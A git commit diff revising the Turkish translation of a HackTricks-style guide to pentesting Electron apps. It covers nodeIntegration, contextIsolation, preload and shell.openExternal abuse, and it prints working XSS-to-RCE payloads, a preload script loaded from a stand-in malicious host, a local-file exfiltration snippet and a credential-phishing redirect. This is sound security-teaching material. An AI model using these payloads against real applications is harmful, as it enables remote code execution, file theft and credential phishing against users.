mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/electron-des
This commit is contained in:
parent
f8a4f6f153
commit
d2c0ec7cb4
@ -4,27 +4,27 @@
|
|||||||
|
|
||||||
## Giriş
|
## Giriş
|
||||||
|
|
||||||
Electron, yerel bir backend (**NodeJS**) ve bir frontend (**Chromium**) içerir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
|
Electron, yerel bir backend (**NodeJS** ile) ve bir frontend (**Chromium**) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
|
||||||
|
|
||||||
Genellikle Electron uygulama kodunu bir `.asar` arşivinin içinde bulabilirsiniz; koda ulaşmak için bunu çıkarmanız gerekir:
|
Genellikle Electron uygulama kodunu bir `.asar` dosyası içinde bulabilirsiniz; kodu elde etmek için bunu çıkarmanız gerekir:
|
||||||
```bash
|
```bash
|
||||||
npx asar extract app.asar destfolder #Extract everything
|
npx asar extract app.asar destfolder #Extract everything
|
||||||
npx asar extract-file app.asar main.js #Extract just a file
|
npx asar extract-file app.asar main.js #Extract just a file
|
||||||
```
|
```
|
||||||
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasının belirtildiğini görebilirsiniz.
|
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasını bulabilirsiniz.
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"name": "standard-notes",
|
"name": "standard-notes",
|
||||||
"main": "./app/index.js",
|
"main": "./app/index.js",
|
||||||
```
|
```
|
||||||
Electron'un 2 işlem türü vardır:
|
Electron'in 2 işlem türü vardır:
|
||||||
|
|
||||||
- Ana İşlem (NodeJS'e tam erişimi vardır)
|
- Main Process (NodeJS'e tam erişimi vardır)
|
||||||
- Renderer İşlemi (güvenlik nedeniyle NodeJS erişimi kısıtlanmalıdır)
|
- Renderer Process (güvenlik nedeniyle NodeJS erişimi sınırlı olmalıdır)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Bir **renderer işlemi**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
|
Bir **renderer process**, bir dosya yükleyen bir tarayıcı penceresi olacaktır:
|
||||||
```javascript
|
```javascript
|
||||||
const { BrowserWindow } = require("electron")
|
const { BrowserWindow } = require("electron")
|
||||||
let win = new BrowserWindow()
|
let win = new BrowserWindow()
|
||||||
@ -32,17 +32,17 @@ let win = new BrowserWindow()
|
|||||||
//Open Renderer Process
|
//Open Renderer Process
|
||||||
win.loadURL(`file://path/to/index.html`)
|
win.loadURL(`file://path/to/index.html`)
|
||||||
```
|
```
|
||||||
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
|
**renderer process** ayarları main.js dosyası içindeki **main process** içinde **yapılandırılabilir**. Bazı yapılandırmalar, ayarlar **doğru yapılandırıldığında**, Electron uygulamasının **RCE veya diğer zafiyetlere** maruz kalmasını önleyebilir.
|
||||||
|
|
||||||
Electron uygulamasının Node API'leri aracılığıyla cihaza erişimi olabilir; ancak bu erişim engellenebilir:
|
Electron uygulaması Node apis aracılığıyla **cihaza erişebilir**, ancak bu erişim önlenebilir:
|
||||||
|
|
||||||
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer process'ten Node özelliklerine erişime izin verir.
|
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer process'ten node özelliklerine erişime izin verir.
|
||||||
- **`contextIsolation`** - varsayılan olarak `on`'dur. `off` ise main ve renderer process'ler izole değildir.
|
- **`contextIsolation`** - varsayılan olarak `on`'dur. `off` ise main ve renderer process'leri izole değildir.
|
||||||
- **`preload`** - varsayılan olarak boştur.
|
- **`preload`** - varsayılan olarak boş.
|
||||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. Bu, NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
|
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak `off`'tur. NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
|
||||||
- Workers içinde Node Integration
|
- Node Integration in Workers
|
||||||
- **`nodeIntegrationInSubframes`** - varsayılan olarak `off`'tur.
|
- **`nodeIntegrationInSubframes`** - varsayılan olarak `off`'tur.
|
||||||
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içinde iframe'lerde yüklenen web sayfalarında **Node.js APIs** kullanımına izin verir.
|
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içinde iframe'lere yüklenen web sayfalarında **Node.js APIs** kullanımına izin verir.
|
||||||
- Eğer **`nodeIntegration`** **devre dışıysa**, preloads iframe içinde yüklenecektir.
|
- Eğer **`nodeIntegration`** **devre dışıysa**, preloads iframe içinde yüklenecektir.
|
||||||
|
|
||||||
Example of configuration:
|
Example of configuration:
|
||||||
@ -71,7 +71,7 @@ spellcheck: true,
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Bazı **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
Bazı **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||||
```html
|
```html
|
||||||
Example Payloads (Windows):
|
Example Payloads (Windows):
|
||||||
<img
|
<img
|
||||||
@ -95,15 +95,16 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
|||||||
src="x"
|
src="x"
|
||||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||||
```
|
```
|
||||||
### Trafik yakalama
|
### Trafiği yakalama
|
||||||
|
|
||||||
start-main yapılandırmasını değiştirin ve şu gibi bir proxy kullanımını ekleyin:
|
start-main yapılandırmasını değiştirin ve şöyle bir proxy kullanımını ekleyin:
|
||||||
```javascript
|
```javascript
|
||||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||||
```
|
```
|
||||||
## Electron Local Code Injection
|
## Electron Local Code Injection
|
||||||
|
|
||||||
Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şu kaynakta kontrol edin:
|
Eğer yerelde bir Electron App çalıştırabiliyorsanız, onun rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şu kaynaktan kontrol edin:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
|
||||||
@ -111,7 +112,7 @@ Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, rastgele javascr
|
|||||||
|
|
||||||
## RCE: XSS + nodeIntegration
|
## RCE: XSS + nodeIntegration
|
||||||
|
|
||||||
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağrısı yaparak Node.js özelliklerini kolayca kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
|
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağırarak kolayca Node.js özelliklerini kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
require("child_process").exec("calc")
|
require("child_process").exec("calc")
|
||||||
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
|||||||
|
|
||||||
## RCE: preload
|
## RCE: preload
|
||||||
|
|
||||||
Bu ayarda belirtilen script **renderer'daki diğer scriptlerden önce yüklenir**, bu yüzden **Node APIs'ye sınırsız erişimi** vardır:
|
Bu ayarda belirtilen script renderer içinde **diğer script'lerden önce yüklenir**, bu yüzden **Node APIs'e sınırsız erişimi**:
|
||||||
```javascript
|
```javascript
|
||||||
new BrowserWindow{
|
new BrowserWindow{
|
||||||
webPreferences: {
|
webPreferences: {
|
||||||
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Bu nedenle, script node-features'ı sayfalara aktarabilir:
|
Bu nedenle, script node-features'i sayfalara dışa aktarabilir:
|
||||||
```javascript:preload.js
|
```javascript:preload.js
|
||||||
typeof require === "function"
|
typeof require === "function"
|
||||||
window.runCalc = function () {
|
window.runCalc = function () {
|
||||||
@ -148,17 +149,17 @@ runCalc()
|
|||||||
</script>
|
</script>
|
||||||
</body>
|
</body>
|
||||||
```
|
```
|
||||||
> [!NOTE] > **Eğer `contextIsolation` açık ise, bu çalışmaz**
|
> [!NOTE] > **Eğer `contextIsolation` açıksa, bu çalışmaz**
|
||||||
|
|
||||||
## RCE: XSS + contextIsolation
|
## RCE: XSS + contextIsolation
|
||||||
|
|
||||||
The _**contextIsolation**_ web sayfası scriptleri ile Electron'un dahili JavaScript kodu arasında ayrılmış bağlamlar oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
|
_**contextIsolation**_ web sayfası scriptleri ile **JavaScript Electron'un dahili kodu arasındaki ayrılmış bağlamları** oluşturur, böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir.
|
||||||
|
|
||||||
If the contexts aren't isolated an attacker can:
|
Bağlamlar izole değilse bir saldırgan şunları yapabilir:
|
||||||
|
|
||||||
1. Renderer'da **keyfi JavaScript çalıştırmak** (XSS veya dış sitelere yönlendirme)
|
1. **renderer içinde keyfi JavaScript çalıştırmak** (XSS veya dış sitelere yönlendirme)
|
||||||
2. Preload veya Electron'un dahili kodunda kullanılan **yerleşik metodu üzerine yazarak** fonksiyonu ele geçirmek
|
2. preload veya Electron'un dahili kodunda kullanılan **yerleşik metodu ezmek** ve onu kendi fonksiyonuyla değiştirmek
|
||||||
3. **Tetiklemek** üzerine yazılmış **fonksiyonun** kullanılmasını
|
3. **ezilmiş fonksiyonun** kullanımını **tetiklemek**
|
||||||
4. RCE?
|
4. RCE?
|
||||||
|
|
||||||
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
|
||||||
@ -178,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
|||||||
electron-contextisolation-rce-via-ipc.md
|
electron-contextisolation-rce-via-ipc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Tıklama olayını atlatma
|
### Click event'i atlatma
|
||||||
|
|
||||||
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, normal sol tıklama yerine **orta tıklama yaparak** bunları atlayabilirsiniz.
|
Bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal sol tıklama yerine **orta tıklama yaparak** atlayabilirsiniz.
|
||||||
```javascript
|
```javascript
|
||||||
window.addEventListener('click', (e) => {
|
window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
## RCE via shell.openExternal
|
## RCE via shell.openExternal
|
||||||
|
|
||||||
Bu örnekler hakkında daha fazla bilgi için bakınız [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
Bu örnekler hakkında daha fazla bilgi için şu yazılara bakın: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||||
|
|
||||||
Electron masaüstü uygulamasını dağıtırken `nodeIntegration` ve `contextIsolation` için doğru ayarları sağlamak çok önemlidir. Bu ayarların etkin olduğu durumda, main process'ten preload scriptlerine veya Electron'un native koduna yönelik **client-side remote code execution (RCE)**'nin etkin bir şekilde önlendiği kabul edilir.
|
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. Bu ayarların etkin olması halinde, preload betiklerini veya Electron'un native kodunu ana süreçten hedef alan **client-side remote code execution (RCE)** büyük ölçüde engellenmiş olur.
|
||||||
|
|
||||||
Kullanıcı linklerle etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli event listener'lar tetiklenir:
|
Kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
```
|
```
|
||||||
Bu dinleyiciler, masaüstü uygulaması tarafından kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, erişilen bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` işlevi kullanılarak harici olarak açılması gerektiğini gösterir.
|
Bu dinleyiciler, kendi **iş mantığını** uygulamak için **masaüstü uygulama tarafından geçersiz kılınır**. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılacağına karar verir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` fonksiyonunu kullanarak harici olarak açılması gerektiğini gösterir.
|
||||||
|
|
||||||
**Here is a simplified pseudocode:**
|
**İşte basitleştirilmiş sözde kod:**
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
|
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konuya dair ayrıntılı örnekler ve ek açıklamalar için [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) başvurulabilir; kaynak, bu açığı sömürebilecek Windows protokol örneklerini içerir.
|
||||||
|
|
||||||
In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
macos'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` örneğinde olduğu gibi keyfi komutların çalıştırılması için kullanılabilir.
|
||||||
|
|
||||||
**Examples of Windows protocol exploits include:**
|
**Windows protokol sömürü örnekleri şunlardır:**
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open(
|
window.open(
|
||||||
@ -227,17 +228,17 @@ window.open(
|
|||||||
)
|
)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
## RCE: webviewTag + zafiyetli preload IPC + shell.openExternal
|
||||||
|
|
||||||
Bu zafiyet **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** içinde bulunabilir.
|
Bu zafiyet **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** adresinde bulunabilir.
|
||||||
|
|
||||||
The **webviewTag** is a **kullanımdan kaldırılmış özellik** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload** context şöyle:
|
The **webviewTag** is a **kullanımdan kaldırılmış özellik** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
|
||||||
```xml
|
```xml
|
||||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||||
```
|
```
|
||||||
Bu nedenle, rastgele bir sayfa yüklemeyi başaran bir saldırgan bu etiketi kullanarak **rastgele bir preload script yükleyebilirdi**.
|
Bu nedenle, keyfi bir sayfa yüklemeyi başaran bir saldırgan bu etiketi kullanarak **keyfi bir preload script yükleyebilirdi**.
|
||||||
|
|
||||||
Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)**'ı çağırmak için kötüye kullanıldı; bu servis RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu:
|
Bu preload script daha sonra **zayıf bir IPC servisi (`skype-new-window`)**'i çağırmak için suistimal edildi; bu servis RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu:
|
||||||
```javascript
|
```javascript
|
||||||
(async() => {
|
(async() => {
|
||||||
const { ipcRenderer } = require("electron");
|
const { ipcRenderer } = require("electron");
|
||||||
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
|||||||
}, 5000);
|
}, 5000);
|
||||||
})();
|
})();
|
||||||
```
|
```
|
||||||
## İç Dosyaların Okunması: XSS + contextIsolation
|
## İç Dosyaları Okuma: XSS + contextIsolation
|
||||||
|
|
||||||
**`contextIsolation`'ı devre dışı bırakmak `<webview>` etiketlerinin kullanılmasına izin verir**, `<iframe>`'e benzer şekilde yerel dosyaların okunması ve exfiltrating için. Verilen bir örnek, bu zafiyeti iç dosyaların içeriğini okumak için nasıl istismar edileceğini gösterir:
|
**`contextIsolation`'ı devre dışı bırakmak, `<webview>` etiketlerinin kullanılmasına izin verir**, `<iframe>`'e benzer şekilde yerel dosyaların okunması ve exfiltrating için kullanılabilir. Sunulan bir örnek, bu açığı exploit ederek iç dosyaların içeriğini nasıl okuyacağını gösterir:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Ayrıca, **iç bir dosyanın okunması** için başka bir yöntem paylaşılmış; bu, bir Electron desktop app içinde kritik bir yerel dosya okuma zafiyetini vurgular. Bu, uygulamayı istismar etmek ve verileri exfiltrate etmek için bir script enjekte etmeyi içerir:
|
Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmış; bu, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma açığını vurgular. Bu, uygulamayı exploit etmek için bir script enjekte etmeyi ve verileri exfiltrate etmeyi içerir:
|
||||||
```html
|
```html
|
||||||
<br /><br /><br /><br />
|
<br /><br /><br /><br />
|
||||||
<h1>
|
<h1>
|
||||||
@ -270,23 +271,23 @@ frames[0].document.body.innerText
|
|||||||
</script>
|
</script>
|
||||||
</h1>
|
</h1>
|
||||||
```
|
```
|
||||||
## **RCE: XSS + Old Chromium**
|
## **RCE: XSS + Eski chromium**
|
||||||
|
|
||||||
Eğer uygulamada kullanılan **chromium** **eski** ise ve üzerinde **bilinen** **vulnerabilities** varsa, onu **exploit** ederek ve bir **XSS** aracılığıyla **RCE** elde etmek mümkün olabilir.\
|
Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **known vulnerabilities** varsa, bunu **exploit** edip **XSS** üzerinden **RCE** elde etmek mümkün olabilir.\
|
||||||
Bir örneğini bu **writeup** içinde görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
Bir örneğini şu **writeup**'ta görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||||
|
|
||||||
## **XSS Phishing via Internal URL regex bypass**
|
## **XSS Phishing via Internal URL regex bypass**
|
||||||
|
|
||||||
Diyelim ki bir **XSS** buldunuz fakat **RCE'yi tetikleyemiyor veya dahili dosyaları çalamıyorsanız**, bunu **phishing** yoluyla kimlik bilgilerini çalmak için kullanmayı deneyebilirsiniz.
|
Bir XSS bulduğunuzu varsayalım ama **RCE tetikleyemiyor** veya **internal files** çalamıyorsanız, bunu **phishing** ile **credentials** çalmak için kullanmayı deneyebilirsiniz.
|
||||||
|
|
||||||
Öncelikle yeni bir URL açmaya çalıştığınızda ne olduğunun farkında olmalısınız; bunu anlamak için front-end'deki **JS** kodunu kontrol edin:
|
Öncelikle yeni bir **URL** açmaya çalıştığınızda ne olduğunu bilmeniz gerekir; front-end'deki **JS** kodunu kontrol ederek:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||||
```
|
```
|
||||||
**`openInternally`** çağrısı, bir **linkin** platforma ait bir bağlantı olması halinde **desktop penceresinde** **açılıp açılmayacağını**, **ya da** üçüncü taraf bir kaynak olarak **tarayıcıda** **açılıp açılmayacağını** belirler.
|
**`openInternally`** çağrısı, **link** platforma ait olduğu için **masaüstü pencerede** mi açılacağına, **veya** üçüncü taraf bir kaynak olarak **tarayıcıda** mı açılacağına karar verir.
|
||||||
|
|
||||||
Eğer fonksiyon tarafından kullanılan **regex** **bypass'lara karşı savunmasız** ise (örneğin **subdomains noktalarının kaçışlandırılmaması** gibi), bir saldırgan XSS'i suistimal ederek **kullanıcıdan kimlik bilgilerini isteyen** ve saldırganın altyapısında yer alacak **yeni bir pencere açtırabilir**:
|
Fonksiyon tarafından kullanılan **regex** **vulnerable to bypasses** ise (örneğin **not escaping the dots of subdomains**), bir attacker XSS'i kötüye kullanarak **open a new window which** saldırgan altyapısında yer alacak ve kullanıcıdan **asking for credentials** isteyen yeni bir pencere açabilir:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
@ -294,11 +295,11 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
|||||||
```
|
```
|
||||||
## `file://` Protokol
|
## `file://` Protokol
|
||||||
|
|
||||||
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
|
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Bir **özel protokol** kullanmak bu tür sorunları önler çünkü protokolü yalnızca belirli bir dosya kümesini sunmakla sınırlayabilirsiniz.
|
||||||
|
|
||||||
## Remote module
|
## Remote module
|
||||||
|
|
||||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. Ancak bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişletir ve cross-site scripting (XSS) saldırıları gibi zafiyetlere daha açık hale getirir.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||||||
@ -319,37 +320,37 @@ mainWindow = new BrowserWindow({
|
|||||||
})
|
})
|
||||||
remoteMain.enable(mainWindow.webContents)
|
remoteMain.enable(mainWindow.webContents)
|
||||||
```
|
```
|
||||||
Sonra, renderer işlemi modülden nesneleri şu şekilde içe aktarabilir:
|
Sonra, renderer process modülden nesneleri şu şekilde import edebilir:
|
||||||
```javascript
|
```javascript
|
||||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||||
```
|
```
|
||||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, remote module içindeki **`app`** nesnesi tarafından sağlanan bazı ilginç **fonksiyonları** gösteriyor:
|
Bu **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, remote modülündeki **`app`** nesnesi tarafından açığa çıkarılan bazı ilginç **fonksiyonları** gösteriyor:
|
||||||
|
|
||||||
- **`app.relaunch([options])`**
|
- **`app.relaunch([options])`**
|
||||||
- Mevcut örneği kapatıp yeni bir örnek başlatarak uygulamayı **yeniden başlatır**. Uygulama güncellemeleri veya önemli **durum değişiklikleri** için kullanışlıdır.
|
- **Yeniden başlatır** uygulamayı; mevcut örneği **sonlandırıp** yeni bir tane **başlatır**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için kullanışlıdır.
|
||||||
- **`app.setAppLogsPath([path])`**
|
- **`app.setAppLogsPath([path])`**
|
||||||
- Uygulama loglarını depolamak için bir dizin **tanımlar** veya **oluşturur**. Loglar **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **alınabilir** veya **değiştirilebilir**.
|
- **Tanımlar** veya **oluşturur** uygulama günlüklerini depolamak için bir dizin. Günlüklere **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak erişilebilir veya değiştirilebilir.
|
||||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||||
- Belirtilen bir **protokol** için geçerli yürütülebilir dosyayı varsayılan **işleyici** olarak **kaydeder**. Gerekirse özel bir **path** ve **argümanlar** sağlayabilirsiniz.
|
- Mevcut yürütülebilir dosyayı belirtilen bir **protokol** için **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir yol** ve **argümanlar** sağlayabilirsiniz.
|
||||||
- **`app.setUserTasks(tasks)`**
|
- **`app.setUserTasks(tasks)`**
|
||||||
- **Jump List** içindeki **Tasks** kategorisine görevler **ekler** (Windows). Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
|
- **Görevler**i **Jump List** içindeki **Tasks kategorisine** ekler (on Windows). Her görev uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
|
||||||
- **`app.importCertificate(options, callback)`**
|
- **`app.importCertificate(options, callback)`**
|
||||||
- Bir **PKCS#12 certificate**'ı sistemin **certificate store**'una **içe aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
|
- Sistemin **sertifika deposuna** bir **PKCS#12 certificate** **aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
|
||||||
- **`app.moveToApplicationsFolder([options])`**
|
- **`app.moveToApplicationsFolder([options])`**
|
||||||
- Uygulamayı **Applications folder**'a **taşır** (macOS). Mac kullanıcıları için standart bir kurulumun sağlanmasına yardımcı olur.
|
- Uygulamayı **Applications folder**'a taşır (on macOS). Mac kullanıcıları için **standart bir kurulum** sağlanmasına yardımcı olur.
|
||||||
- **`app.setJumpList(categories)`**
|
- **`app.setJumpList(categories)`**
|
||||||
- Windows'ta özel bir **Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
|
- **Özel bir Jump List**i **ayarlar** veya **kaldırır** (on Windows). Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
|
||||||
- **`app.setLoginItemSettings(settings)`**
|
- **`app.setLoginItemSettings(settings)`**
|
||||||
- Hangi yürütülebilir dosyaların girişte çalıştırılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
|
- Hangi **yürütülebilir dosyaların** girişte (**login**) başlatılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
|
||||||
|
|
||||||
Örnek:
|
Example:
|
||||||
```javascript
|
```javascript
|
||||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||||
Native.app.exit()
|
Native.app.exit()
|
||||||
```
|
```
|
||||||
## systemPreferences modülü
|
## systemPreferences modülü
|
||||||
|
|
||||||
Electron'da sistem tercihlerine erişmek ve **sistem olaylarını tetiklemek** için kullanılan **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemler bu modülün **parçasıdır**.
|
